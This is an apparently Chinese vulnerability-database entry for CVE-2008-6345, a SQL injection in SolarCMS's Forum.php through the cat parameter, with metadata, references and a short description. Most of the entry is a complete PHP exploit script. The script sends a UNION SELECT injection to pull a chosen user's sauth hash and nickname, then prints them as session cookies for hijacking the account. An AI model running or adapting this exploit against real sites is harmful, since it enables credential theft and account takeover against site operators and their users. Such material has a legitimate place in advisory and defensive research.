Cms.Maury91 SolarCMS 'Forum.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117114 漏洞类型 SQL注入
发布时间 2008-12-22 更新时间 2009-03-02
CVE编号 CVE-2008-6345 CNNVD-ID CNNVD-200902-661
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7548
https://cxsecurity.com/issue/WLB-2009030100
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-661
|漏洞详情
Solarcms是一个不同于普通内容管理系统(CSM),旨在为快速创建程序员网站。有一个外壳并包括元件、模块、plungins和模板。允许您直接写入到PHP页面。SolarCMS0.53.8版本和1.0版本的Forum.php中存在SQL注入漏洞。远程攻击者可以借助对indes.php的cat参数,执行任意SQL指令。
|漏洞EXP
<?php

error_reporting(0);

/***************************************************************
 *  ---------------------------------------------------------  * 
 *  SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit  *
 *  ---------------------------------------------------------  *
 *  by athos - staker[at]hotmail[dot]it                        *
 *  download on http://cms.maury91.org/                        *
 *  works regardless PHP.ini settings                          *                     
 *  ---------------------------------------------------------  *
 ***************************************************************/


list($file,$host,$path,$myid,$table) = $argv;

if($argc != 5) usage();

$cookie = (preg_match('/\^(.+?)\^/',get_cookies(),$out)) ? explode(':',$out[1]) : error();

if($path == '/')
{
      print "_nick={$cookie[1]}; path=/;\n";
      print "_sauth={$cookie[0]}; path=/;\n";
      exit;
}     
else
{
      print "/{$path}_nick={$cookie[1]}; path=/;\n";
      print "/{$path}_sauth={$cookie[0]}; path=/;\n";
      exit;
}      
 
 
 

function get_cookies()
{
      global $host,$path,$myid,$table;
       
      $data .= "GET {$path}/index.php?com=Forum&cat=-1+union+select+1,";
      $data .= "concat(0x5e,sauth,0x3a,nick,0x5e),3+from+{$table}+where+id={$myid}-- HTTP/1.1\r\n";
      $data .= "Host: {$host}\r\n";
      $data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
      $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
      $data .= "Connection: close\r\n\r\n";

      
      
      if(!$sock = fsockopen($host,80)) die("connection refused\n");
      
      fputs($sock,$data);
      
      while(!feof($sock))
      {
            $html .= fgets($sock);
      }    
      
      fclose($sock);
      return $html;
}     


       
function error()
{
      print "Exploit Failed!\n";
      print "Regards ;)\n";
      exit;
}

function usage()
{
      print "---------------------------------------------------------\n";    
      print "SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit\n";
      print "---------------------------------------------------------\n";
      print "by athos - staker[at]hotmail[dot]it\n";
      print "Usage: php xpl.php [host] [path] [userid] [table]\n";
      print "php xpl.php localhost /  1 solarcms_users\n";
      exit;

}

# milw0rm.com [2008-12-22]
|参考资料

来源:BID
名称:32974
链接:http://www.securityfocus.com/bid/32974
来源:MILW0RM
名称:7548
链接:http://www.milw0rm.com/exploits/7548
来源:SECUNIA
名称:33269
链接:http://secunia.com/advisories/33269